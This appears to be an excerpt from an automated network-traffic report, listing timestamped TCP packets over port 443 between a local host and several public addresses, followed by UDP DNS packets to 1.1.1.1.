Sep 24, 2024 06:30:57.308969975 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:57.308983088 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:57.309006929 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:57.309016943 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:57.309153080 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:57.309173107 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:57.309217930 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:57.309222937 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:57.309232950 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:57.309242964 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:57.309267044 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:57.309292078 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:57.309331894 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:57.309339046 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:57.309376001 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:57.309382915 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:57.309387922 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:57.309417963 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:57.309470892 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:57.309487104 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:57.309536934 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:57.309545994 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:57.309588909 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:57.309592962 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:57.309616089 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:57.309621096 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:57.309700966 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:57.309712887 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:57.309743881 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:57.309751034 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:57.309762955 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:57.309779882 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:57.309802055 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:57.309808016 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:57.309837103 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:57.309849977 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:57.309864044 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:57.309902906 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:57.309922934 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:57.309926987 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:57.309940100 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:57.310034037 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:57.310060024 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:57.310060024 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:57.310101032 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:57.310111046 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:57.310122967 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:57.310137987 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:57.310151100 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:57.310168982 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:57.310175896 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:57.310179949 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:57.310194969 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:57.310225010 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:57.310234070 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:57.310251951 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:57.310313940 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:57.310324907 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:57.310328960 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:57.310357094 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:57.310427904 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:57.310497046 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:57.310560942 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:57.458822012 CEST	443	49752	142.250.186.68	192.168.2.9
Sep 24, 2024 06:30:57.458981991 CEST	443	49752	142.250.186.68	192.168.2.9
Sep 24, 2024 06:30:57.459048986 CEST	49752	443	192.168.2.9	142.250.186.68
Sep 24, 2024 06:30:57.519401073 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:57.519449949 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:57.951405048 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:57.951488972 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:58.735986948 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:58.736018896 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:58.736037970 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:58.736104012 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:58.736114025 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:58.736133099 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:58.736146927 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:58.736165047 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:58.736180067 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:58.736186028 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:58.736202002 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:58.736257076 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:58.736264944 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:58.736279011 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:58.736293077 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:58.736300945 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:58.736309052 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:58.736334085 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:58.736360073 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:58.736366034 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:58.736408949 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:58.736417055 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:58.736452103 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:58.736474991 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:58.736491919 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:58.736512899 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:58.736546040 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:58.736552954 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:58.736562014 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:58.736587048 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:58.736604929 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:58.736694098 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:58.736763954 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:58.736778975 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:58.736821890 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:58.736843109 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:58.736900091 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:58.947410107 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:58.947500944 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:58.970474005 CEST	49752	443	192.168.2.9	142.250.186.68
Sep 24, 2024 06:30:58.970518112 CEST	443	49752	142.250.186.68	192.168.2.9
Sep 24, 2024 06:30:59.331765890 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:59.331794024 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:59.331815958 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:59.331830978 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:59.331841946 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:59.331934929 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:59.332082987 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:59.332092047 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:59.332125902 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:59.332146883 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:59.332362890 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:59.332362890 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:59.332422018 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:59.332488060 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:59.332541943 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:59.332576036 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:59.332631111 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:59.332657099 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:59.332663059 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:59.332741976 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:59.332757950 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:59.332796097 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:59.332808018 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:59.332828999 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:59.332854986 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:59.332869053 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:59.333046913 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:59.333046913 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:59.333065033 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:59.333097935 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:59.333121061 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:59.333151102 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:59.333151102 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:59.333167076 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:59.333198071 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:59.333214998 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:59.333235979 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:59.333235979 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:59.333255053 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:59.333281040 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:59.333370924 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:59.333390951 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:59.333425999 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:59.333436012 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:59.333452940 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:59.333575010 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:59.333590984 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:59.333638906 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:59.333653927 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:59.333683014 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:59.333717108 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:59.333760023 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:59.333851099 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:59.333865881 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:59.333997011 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:59.333997011 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:59.333997011 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:59.539453030 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:59.539573908 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:59.963443995 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:59.963526964 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:31:00.795409918 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:31:00.795541048 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:31:01.055617094 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:31:01.055634022 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:31:01.055646896 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:31:01.055807114 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:31:01.055813074 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:31:01.055833101 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:31:01.055841923 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:31:01.055932045 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:31:01.055932045 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:31:01.055939913 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:31:01.055959940 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:31:01.055969000 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:31:01.055977106 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:31:01.056039095 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:31:01.056045055 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:31:01.056062937 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:31:01.056070089 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:31:01.056106091 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:31:01.056164026 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:31:01.056227922 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:31:01.056250095 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:31:01.056257010 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:31:01.056267023 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:31:01.056380987 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:31:01.056390047 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:31:01.056407928 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:31:01.056435108 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:31:01.056442976 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:31:01.056457996 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:31:01.056482077 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:31:01.056574106 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:31:01.056726933 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:31:01.056843042 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:31:01.263406992 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:31:01.263541937 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:31:01.636071920 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:31:01.636096001 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:31:01.636111975 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:31:01.636126041 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:31:01.636250973 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:31:01.636257887 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:31:01.636310101 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:31:01.636327028 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:31:01.636353016 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:31:01.636358976 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:31:01.636388063 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:31:01.636399031 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:31:01.636507034 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:31:01.636513948 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:31:01.636533976 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:31:01.636547089 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:31:01.636596918 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:31:01.636603117 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:31:01.636622906 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:31:01.636636972 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:31:01.636701107 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:31:01.636707067 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:31:01.636760950 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:31:01.636765957 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:31:01.636900902 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:31:01.636910915 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:31:01.636929989 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:31:01.636962891 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:31:01.636969090 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:31:01.637063980 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:31:01.637069941 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:31:01.637095928 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:31:01.637195110 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:31:01.637195110 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:31:01.637203932 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:31:01.637236118 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:31:01.637257099 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:31:01.637269020 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:31:01.637381077 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:31:01.637445927 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:31:01.637511015 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:31:03.402192116 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:31:03.909024954 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:31:05.202449083 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:31:08.983861923 CEST	49709	443	192.168.2.9	184.28.90.27
Sep 24, 2024 06:31:08.988957882 CEST	443	49709	184.28.90.27	192.168.2.9
Sep 24, 2024 06:31:08.989795923 CEST	49709	443	192.168.2.9	184.28.90.27
Sep 24, 2024 06:31:10.298666954 CEST	49710	443	192.168.2.9	184.28.90.27
Sep 24, 2024 06:31:10.304033041 CEST	443	49710	184.28.90.27	192.168.2.9
Sep 24, 2024 06:31:10.304094076 CEST	49710	443	192.168.2.9	184.28.90.27
Sep 24, 2024 06:31:13.984570980 CEST	49756	443	192.168.2.9	104.21.7.178
Sep 24, 2024 06:31:13.984618902 CEST	443	49756	104.21.7.178	192.168.2.9
Sep 24, 2024 06:31:13.984705925 CEST	49756	443	192.168.2.9	104.21.7.178
Sep 24, 2024 06:31:13.988648891 CEST	49756	443	192.168.2.9	104.21.7.178
Sep 24, 2024 06:31:13.988670111 CEST	443	49756	104.21.7.178	192.168.2.9
Sep 24, 2024 06:31:14.500858068 CEST	443	49756	104.21.7.178	192.168.2.9
Sep 24, 2024 06:31:14.500967026 CEST	49756	443	192.168.2.9	104.21.7.178
Sep 24, 2024 06:31:14.505894899 CEST	49756	443	192.168.2.9	104.21.7.178
Sep 24, 2024 06:31:14.505904913 CEST	443	49756	104.21.7.178	192.168.2.9
Sep 24, 2024 06:31:14.506211042 CEST	443	49756	104.21.7.178	192.168.2.9
Sep 24, 2024 06:31:14.513257027 CEST	49756	443	192.168.2.9	104.21.7.178
Sep 24, 2024 06:31:14.559417009 CEST	443	49756	104.21.7.178	192.168.2.9
Sep 24, 2024 06:31:15.297879934 CEST	443	49756	104.21.7.178	192.168.2.9
Sep 24, 2024 06:31:15.297972918 CEST	443	49756	104.21.7.178	192.168.2.9
Sep 24, 2024 06:31:15.298043013 CEST	49756	443	192.168.2.9	104.21.7.178
Sep 24, 2024 06:31:15.573983908 CEST	49756	443	192.168.2.9	104.21.7.178

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 24, 2024 06:29:42.428462029 CEST	53	56809	1.1.1.1	192.168.2.9
Sep 24, 2024 06:29:42.497345924 CEST	51138	53	192.168.2.9	1.1.1.1
Sep 24, 2024 06:29:42.497564077 CEST	49325	53	192.168.2.9	1.1.1.1
Sep 24, 2024 06:29:42.516944885 CEST	53	49325	1.1.1.1	192.168.2.9
Sep 24, 2024 06:29:42.519345999 CEST	53	51138	1.1.1.1	192.168.2.9
Sep 24, 2024 06:29:42.540827036 CEST	53	61119	1.1.1.1	192.168.2.9
Sep 24, 2024 06:29:42.615509987 CEST	63942	53	192.168.2.9	1.1.1.1
Sep 24, 2024 06:29:42.615650892 CEST	59394	53	192.168.2.9	1.1.1.1
Sep 24, 2024 06:29:42.622771978 CEST	53	59394	1.1.1.1	192.168.2.9
Sep 24, 2024 06:29:42.637645006 CEST	53	63942	1.1.1.1	192.168.2.9
Sep 24, 2024 06:29:43.721828938 CEST	53	59012	1.1.1.1	192.168.2.9
Sep 24, 2024 06:29:44.568721056 CEST	59113	53	192.168.2.9	1.1.1.1
Sep 24, 2024 06:29:44.569003105 CEST	53	50029	1.1.1.1	192.168.2.9
Sep 24, 2024 06:29:44.569142103 CEST	56568	53	192.168.2.9	1.1.1.1
Sep 24, 2024 06:29:44.575804949 CEST	53	59113	1.1.1.1	192.168.2.9
Sep 24, 2024 06:29:44.576149940 CEST	53	56568	1.1.1.1	192.168.2.9
Sep 24, 2024 06:29:44.631333113 CEST	54859	53	192.168.2.9	1.1.1.1
Sep 24, 2024 06:29:44.631594896 CEST	55644	53	192.168.2.9	1.1.1.1
Sep 24, 2024 06:29:44.638303041 CEST	53	54859	1.1.1.1	192.168.2.9
Sep 24, 2024 06:29:44.639741898 CEST	53	55644	1.1.1.1	192.168.2.9
Sep 24, 2024 06:29:45.590044022 CEST	60128	53	192.168.2.9	1.1.1.1
Sep 24, 2024 06:29:45.590198994 CEST	49881	53	192.168.2.9	1.1.1.1
Sep 24, 2024 06:29:45.597167969 CEST	53	49881	1.1.1.1	192.168.2.9
Sep 24, 2024 06:29:45.599920988 CEST	53	60128	1.1.1.1	192.168.2.9
Sep 24, 2024 06:29:45.641046047 CEST	61565	53	192.168.2.9	1.1.1.1
Sep 24, 2024 06:29:45.641427994 CEST	56487	53	192.168.2.9	1.1.1.1
Sep 24, 2024 06:29:45.641969919 CEST	53595	53	192.168.2.9	1.1.1.1
Sep 24, 2024 06:29:45.642105103 CEST	59613	53	192.168.2.9	1.1.1.1
Sep 24, 2024 06:29:45.647767067 CEST	53	61565	1.1.1.1	192.168.2.9
Sep 24, 2024 06:29:45.648428917 CEST	53	56487	1.1.1.1	192.168.2.9
Sep 24, 2024 06:29:45.649106026 CEST	53	59613	1.1.1.1	192.168.2.9
Sep 24, 2024 06:29:46.034393072 CEST	52269	53	192.168.2.9	1.1.1.1
Sep 24, 2024 06:29:46.034573078 CEST	62366	53	192.168.2.9	1.1.1.1
Sep 24, 2024 06:29:46.054642916 CEST	53	52269	1.1.1.1	192.168.2.9
Sep 24, 2024 06:29:46.066760063 CEST	53	62366	1.1.1.1	192.168.2.9
Sep 24, 2024 06:29:46.370207071 CEST	56040	53	192.168.2.9	1.1.1.1
Sep 24, 2024 06:29:46.370383024 CEST	54746	53	192.168.2.9	1.1.1.1
Sep 24, 2024 06:29:46.377831936 CEST	53	54746	1.1.1.1	192.168.2.9
Sep 24, 2024 06:29:46.458470106 CEST	55250	53	192.168.2.9	1.1.1.1
Sep 24, 2024 06:29:46.458689928 CEST	52996	53	192.168.2.9	1.1.1.1
Sep 24, 2024 06:29:46.465107918 CEST	53	55250	1.1.1.1	192.168.2.9
Sep 24, 2024 06:29:46.465226889 CEST	59802	53	192.168.2.9	1.1.1.1
Sep 24, 2024 06:29:46.465384960 CEST	65018	53	192.168.2.9	1.1.1.1
Sep 24, 2024 06:29:46.465563059 CEST	53	52996	1.1.1.1	192.168.2.9
Sep 24, 2024 06:29:46.472152948 CEST	53	59802	1.1.1.1	192.168.2.9
Sep 24, 2024 06:29:46.472208023 CEST	53	65018	1.1.1.1	192.168.2.9
Sep 24, 2024 06:29:47.119829893 CEST	63756	53	192.168.2.9	1.1.1.1
Sep 24, 2024 06:29:47.120408058 CEST	55155	53	192.168.2.9	1.1.1.1
Sep 24, 2024 06:29:47.126476049 CEST	53	63756	1.1.1.1	192.168.2.9
Sep 24, 2024 06:29:47.127187014 CEST	53	55155	1.1.1.1	192.168.2.9
Sep 24, 2024 06:29:48.051208973 CEST	57960	53	192.168.2.9	1.1.1.1
Sep 24, 2024 06:29:48.051343918 CEST	59717	53	192.168.2.9	1.1.1.1
Sep 24, 2024 06:29:48.057857037 CEST	53	57960	1.1.1.1	192.168.2.9
Sep 24, 2024 06:29:48.058274984 CEST	53	59717	1.1.1.1	192.168.2.9
Sep 24, 2024 06:29:52.444869995 CEST	49249	53	192.168.2.9	1.1.1.1
Sep 24, 2024 06:29:52.880908012 CEST	53	49249	1.1.1.1	192.168.2.9
Sep 24, 2024 06:30:01.167046070 CEST	53	53330	1.1.1.1	192.168.2.9
